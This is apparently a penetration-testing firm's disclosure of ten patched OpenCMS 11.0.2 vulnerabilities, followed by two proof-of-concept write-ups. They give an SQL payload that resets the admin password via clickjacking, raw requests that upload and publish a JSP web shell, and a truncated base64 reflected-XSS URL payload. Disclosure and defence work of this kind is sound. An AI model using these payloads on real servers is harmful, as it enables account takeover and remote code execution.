Advisory

As part of our ongoing commitment to Open Source security Pentest Ltd conducted a research project into OpenCMS version 11.0.2. This found ten (10) vulnerabilities that have been summarised in the table below: CVE CVSS Summary CVE-2021-42212 4.8 AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N Persistent XSS allowed “admin” level users to send payloads to any user via messages. Admin level privileges were required for this making exploitation unlikely. CVE-2021-42209 5.4 AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N Persistent XSS allowed users with at least “editor” privileges to trigger a payload on the publish screen. Access as an “editor” could be used to exploit this and could gain “admin” level privileges. CVE-2021-42210 5.4 AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N Persistent XSS allowed users with at least “editor” privileges to trigger a payload on the sitemap screen. Access as an “editor” could be used to exploit this and could gain “admin” level privileges. CVE-2021-42213 7.6 AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:H/A:N Persistent XSS allowed users with at least “author” privileges to upload HTML files. The file can contain Cross-Site Scripting or Cross Site Request Forgery payloads which will launch from the same origin. CVE-2021-42211 6.1 AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N DOM based XSS within admin interface’s “workspace” UI. An unauthenticated remote attacker could exploit this. CVE-2021-42215 6.1 AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N Reflected XSS through the “policy” URL parameter. An unauthenticated remote attacker could exploit this. CVE-2021-42214 6.5 AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H A user without the ability to delete files via the UI could do so using WebDAV. The permissions model was inconsistent across the two channels. A low privileged user could delete the site content to trigger a denial-of-service. CVE-2021-42206 8.3 AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H By exploiting ClickJacking an unauthenticated attacker could obtain admin access. To do so, they would need to entice an “admin” level user to interact with a website while they were authenticated to OpenCMS. CVE-2021-42208 5.3 AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N An unvalidated redirect and forward existed. If an authenticated user clicked on a malicious link they were redirected to the exploit site. If the user was unauthenticated they are prompted to authenticate prior to redirection occurring. This existed in the “/system/login/index.html” script via the “requestedResource” parameter. CVE-2021-42207 5.3 AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N An unvalidated redirect and forward existed. If an authenticated user clicked on a malicious link they were redirected to the exploit site. If the user was unauthenticated they are prompted to authenticate prior to redirection occurring. This existed in the “/system/login/index.html” script via the “loginRedirect” parameter. These have been patched in the most recent release (12.0.0). Please update all installations of OpenCMS to the latest levels as soon as possible. Pentest have provided two additional blog posts which show full proof of concept code to go from unauthenticated to in full control over a vulnerable OpenCMS server: Exploiting OpenCMS 11.0.2 using ClickJacking; and Leveraging XSS to get RCE in OpenCMS 11.0.2 respectively.

ClickJacking to full compromise of OpenCMS As part of our ongoing commitment to Open Source security Pentest Ltd conducted a research project into OpenCMS version 11.0.2. This found ten (10) vulnerabilities as described in Multiple Vulnerabilities in OpenCMS 11.0.2. These have all been patched in the most recent release (12.0.0). Two vulnerabilities could allow remote and unauthenticated attackers to compromise OpenCMS. This post covers how to use ClickJacking to do so as demonstrated by the Video below: https://www.youtube.com/watch?v=ht_6Y5N5Oto What is ClickJacking? ClickJacking is a form of “session riding” allowing an attacker to interact on the target site within the privileges of their victim. Successful exploitation requires the victim to visit a maliciously generated website while they are authenticated to the target site. The user believes they are interacting only with the malicious site. However, they are also interacting with the target site without their knowledge. To achieve this the attacker includes the target site within an iframe which is invisible to the victim. No matter where the victim clicks the attacker ensures that the parts of the target site that are required for exploitation are underneath the user’s action. ClickJacking techniques can: Click on any GUI element – allowing links to be followed, check boxes, radio buttons and forms to be submitted. Paste text into form fields – after selecting a text field it is possible to populate the field with text within the copy/paste. Together these permit attackers to populate and submit forms which are not protected by CAPTCHA technology or requiring the current password. ClickJacking is limited because it cannot read data from the Document Object Model (DOM) and is therefore said to be “blind”. The impact is a loss of integrity for the user account (as actions cannot be verified to have come from users). The true impact assessment can only be made after evaluating what functionality is vulnerable and fully assessing the context. For a general overview of ClickJacking please read reference [1]. Details OpenCMS 11.0.2 was vulnerable to ClickJacking because it had no defences to prevent it. To confirm this the consultant created an HTML file which included this “iframe” tag: To replicate this finding first authenticate as an “admin” level user. Save the above in a “.html” file and then open it in another tab within the same web browser.   The browser will include the target site within an iframe as demonstrated below:  Figure 1 – Sensitive Functions accessible within Iframes Figure 2 – Saving JSP Files within an Iframe  The above functionality was available only to “admin” level users. They were not adequately protected from attack and both could allow the full compromise of the OpenCMS server. Proof of Concept: Obtaining Admin Access The PoC was generated to exploit the SQL console. To exploit this the victim must issue two interactions: Initiate a drag and drop which goes from the attacker’s site into the query console; then Click on the “Execute” button to submit the query. The SQL query below was used as the payload. When executed this changes the password hash for the “Admin” user to “admin”: UPDATE CMS_USERS SET USER_PASSWORD=”$s0$e0801$AmdC2o/qA18zek6ENKpjpw==$nJqS+ZHFIAawhqNWx6rjeBnYnSzmDjzTC5ooIJWFX1o=” WHERE USER_NAME=”Admin” The attacker must convince the victim to interact with a website under their control. The exploit site used in the demonstration contained the HTML below: Football is lost. Help it home! RetryShow IframeHide Iframe If this was opened in a web browser by an authenticated “Admin” user it would appear as shown: Figure 3 – ClickJacking Exploit Site While crude this was a simple game asking the user to drag the ball into the goal. The attack worked because the image of the goal was in the background and there was an invisible iframe hidden in front of it. The following shows the same screen where the iframe was made visible: Figure 4 – ClickJacking Page where the iframe was visible The attacker required the victim to drag and then drop the ball anywhere within the red rectangle for their malicious query to be delivered. A second after the ball was dragged the UI updated to hide the ball and to display a prompt for the victim to claim their prize: Figure 5 – ClickJacking step to click on “Execute” button The SQL Query is executed when the “Claim Prize” button was clicked. This demonstrated the risk of ClickJacking against the unprotected SQL Console functionality. It is also possible to upload a web shell through the admin’s file upload function. However, that would require significantly more user interactions decreasing (but not removing) the chances of success.  Risk Analysis Risk Category: HighCVSS: 8.3 AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H Explanation: Due to the functionality that was available within the application (direct access to the database, and remote code execution via JSP) the risk posed by ClickJacking was “High”.  Recommendation  Implement ClickJacking defences by default for OpenCMS deployments. If users need to disable this then they should be warned about doing so before enabling them to have their sites embedded within an iframe.  For full details of the defences that are available please read reference [2]. The following summarises those: Approach Example Limitation Content-Security-Policy Add an HTTP response header as shown: Content-Security-Policy: frame-ancestors ‘none’ This prevents any origin framing the content. Review reference [2] for more permissive options. Newer standard and is not supported in all major web browsers. X-Frame-Options take priority if present in Chrome & Firefox. X-Frame-Options Add an HTTP response header as shown: x-frame-options: DENY Again, review reference [2] for more permissive options. Setting is required per page so every HTTP response must include the heading for full coverage. Legacy JavaScript Before HTTP headers were an option initial fixes were based on JavaScript. This is now seen as a fall-back defence which is nice to have but is no longer essential. Please review reference [2] and select either the: • Best-for-now Legacy Browser Frame Breaking; or • Window.confirm() protection As desired JavaScript projections have repeatedly been defeated by bypasses. Hence the “best-for-now” language being used by OWASP. At the time of writing that has not been bypassed. Pentest’s preference is to use CSP headers as this

Cross-Site Scripting to full compromise of OpenCMS As part of our ongoing commitment to Open Source security, Pentest Ltd conducted a research project into OpenCMS version 11.0.2. This found ten (10) vulnerabilities as described in Multiple Vulnerabilities in OpenCMS 11.0.2. These have all been patched in the most recent release (12.0.0). Two vulnerabilities could allow remote and unauthenticated attackers to compromise OpenCMS. This post covers how to use Cross Site Scripting to do so as demonstrated by the Video below: https://www.youtube.com/watch?v=oSyVV2dKWNk What is Cross-Site Scripting (XSS)?   When an application is vulnerable to Cross-Site Scripting (XSS), it is often possible to leverage this vulnerability in a chained-attack. The most common example of this is leveraging Cross-Site Scripting to perform arbitrary forged requests on behalf of the victim. If the victim holds high privileges within an application, this can cause drastic damage. This damage will usually manifest in the form of privilege escalation, account take over, or even defacement of the website. Forged requests could include changing the role of a low privileged user to a high privileged role, or accessing other functionality intended for use only by authenticated users. Another way forged requests can be used is in arbitrary file upload attacks. If such an issue exists, an attacker could force a high privileged user, usually an admin, to upload a file of the attackers choosing. The attacker could then browse to this file to achieve remote code execution. Details OpenCMS 11.0.2 was vulnerable to an attack-chain leveraging XSS, request forgery, and arbitrary file uploads. By combining these vulnerabilities, it was possible to create a malicious link that, when visited by an admin, uploaded and published a web shell. This web shell could then be used to remotely gain access to the web server. Our research into OpenCMS discovered six separate XSS vulnerabilities and we have chosen one to demonstrate the risk. 1. Designing the Forged Requests / XSS Payload The first step in creating this attack-chain was to design the XSS payload that would ultimately be delivered via a URL to the victim. Considering the goal of getting RCE, we must think like attackers to exploit the vulnerabilities discovered in a chain that will achieve our goal. In this case, we exploited an XSS and an arbitrary file upload issue to ultimately gain code execution on the server. JavaScript was developed that forged two requests, these are as follows: Request 1: Upload a Web Shell. Request 2: “Directly Publish” the Web Shell. Below are the details relating to each of these requests. Request 1: Upload a Web Shell: The first request uploaded a file containing a web shell to the “/workplace” page. The following is the file upload request. The web shell payload (lines 10-32) and file name (line 37) have been highlighted:  POST /system/workplace/commons/uploadAction.jsp HTTP/1.1 Host: 192.168.5.68 […] Connection: close ——WebKitFormBoundaryz7KAAKltiJSJ0w6Y Content-Disposition: form-data; name=”file_0″; filename=”webshellpoc.jsp” Content-Type: application/octet-stream ——WebKitFormBoundaryz7KAAKltiJSJ0w6Y Content-Disposition: form-data; name=”file_0_filename_encoded” webshellpoc.jsp ——WebKitFormBoundaryz7KAAKltiJSJ0w6Y Content-Disposition: form-data; name=”upload_target_folder” /sites/default/ ——WebKitFormBoundaryz7KAAKltiJSJ0w6Y Content-Disposition: form-data; name=”isRootPath” true ——WebKitFormBoundaryz7KAAKltiJSJ0w6Y– After this request was sent, the script awaited the response. This was necessary because a UUID correlated to the uploaded file was returned within that response. That token was required in the upcoming request.   The response containing the UUID looks as follows, with the UUID shown in line 7:  HTTP/1.1 200 Server: OpenCms/11.0.2 Last-Modified: Wed, 14 Jul 2021 20:08:39 GMT […] Connection: close {“uploadedFiles”:[“474b29ba-e4df-11eb-a82a-0242ac120003”] […] After this UUID has been saved into a variable within the script, it is then used in a subsequent request to “Directly Publish” the uploaded web shell. This mimics the process the admin would usually take to publish a new page on the site.  Request 2: “Direct Publish” the Uploaded Web Shell: Following is the subsequent request to “Directly Publish” the uploaded web shell: POST /org.opencms.ade.publish.CmsPublishService.gwt HTTP/1.1 Host: 192.168.5.68 Content-Length: 461 Accept: */* X-GWT-Module-Base: http://192.168.5.68/VAADIN/widgetsets/org.opencms.ui.WidgetSet/ X-GWT-Permutation: RANDOMVALUE […] Connection: close 7|0|11|http://192.168.5.68/VAADIN/widgetsets/org.opencms.ui.WidgetSet/|49F57690AA96F6F31AA1A2D7FCA327E5|org.opencms.ade.publish.shared.rpc.I_CmsPublishService|executeAction|org.opencms.ade.publish.shared.CmsWorkflowAction/1950547118|org.opencms.ade.publish.shared.CmsWorkflowActionParams/4026592960|publish|Publish|java.util.ArrayList/4159755760|org.opencms.util.CmsUUID/3079641644|474b29ba-e4df-11eb-a82a-0242ac120003|1|2|3|4|2|5|6|5|7|1|1|8|6|9|1|10|11|9|0|0| The first piece of highlighted information (lines 5 & 6) within the above request are two technology specific headers. They were necessary for the request to work, but do not provide any protection against request forgery. It was found that an arbitrary value could be sent with the “X-GWT-Permutation:” header without being rejected. Line 10 shows the POST request’s body is the UUID received from the first request’s HTTP response. After this request was sent and processed, a web shell was accessible.  Crafting the Final URL The final step in developing this attack-chain was to craft a malicious URL containing the XSS payload. To craft the malicious URL, a Reflected XSS vulnerability was used. As discussed earlier, the goal of the payload is to issue a series of forged request on behalf of the victim. If the victim is an authenticated administrator, then these requests will ultimately upload and publish a web shell available to unauthenticated users. Because an XSS vulnerability is leveraged to issue the forged requests, we do not have to worry about the Same Origin Policy obstructing the attack. Following is a snippet from the Proof-Of-Concept URL that contains the XSS payload: /system/modules/alkacon.mercury.template/elements/privacy-policy.jsp?policy=Ly5jb250ZW50L3ByaXZhY3ktcG9saWN5LnhtbHMtLT48PGh0bWw%2bCiAgPCEtLSBDU1JGIFBvQyAtIGdlbmVyYXRlZCBieSBCdXJwIFN1aXRlIFByb2Zlc3Npb25hbCAtLT4KICA8Ym9keT4KICA8c2NyaXB0Pmhpc3RvcnkucHVzaFN0YXRlKCcnLCAnJywgJy8nKTwvc2NyaXB0PgogICAgPHNjcmlwdD4KICAgICAgZnVuY3Rpb24gc3VibWl0UHVibGlzaFJlcXVlc3QodXVpZCkKICAgICAgIHsKICAgICAgICB2YXIgeGhyID0gbmV3IFhNTEh0dHBSZXF1ZXN0KCk7CiAgICAgICAgeGhyLm9wZW4oIlBPU1QiLCAiaHR0cDpcL1wvMTkyLjE2OC41LjY4XC9vcmcub3BlbmNtcy5hZGUucHVibGlzaC5DbXNQdWJsaXNoU2VydmljZS5nd3QiLCB0cnVlKTsKICAgICAgICB4aHIuc2V0UmVxdWVzdEhlYWRlcigiQ29udGVudC1UeXBlIiwgInRleH — SNIP — Notice the large blob of base64 encoded data within the URL? That is the XSS payload. This XSS vulnerability required that the payload be base64 encoded for it to properly reflect the payload within the HTTP response. When an admin clicked on this link their browser would append their valid session cookies resulting in deployment of the web shell. Risk Analysis Risk Category: Critical CVSS: 8.8 (See more about scoring here)Explanation: This attack-chain allowed a pathway for unauthenticated users to gain full control over the web application and its underlying server. Therefore, this issue has been placed in the risk category “Critical”.  Recommendation Patching vulnerabilities used in this attack-chain will be an effective mitigation. The specific root cause allowing this attack-chain was Cross-Site Scripting. Without access to one of these vulnerabilities, the attack-chain would be broken as the forged requests used within the payload are required to come from the same origin. Affected Item(s) OpenCMS 11.0.2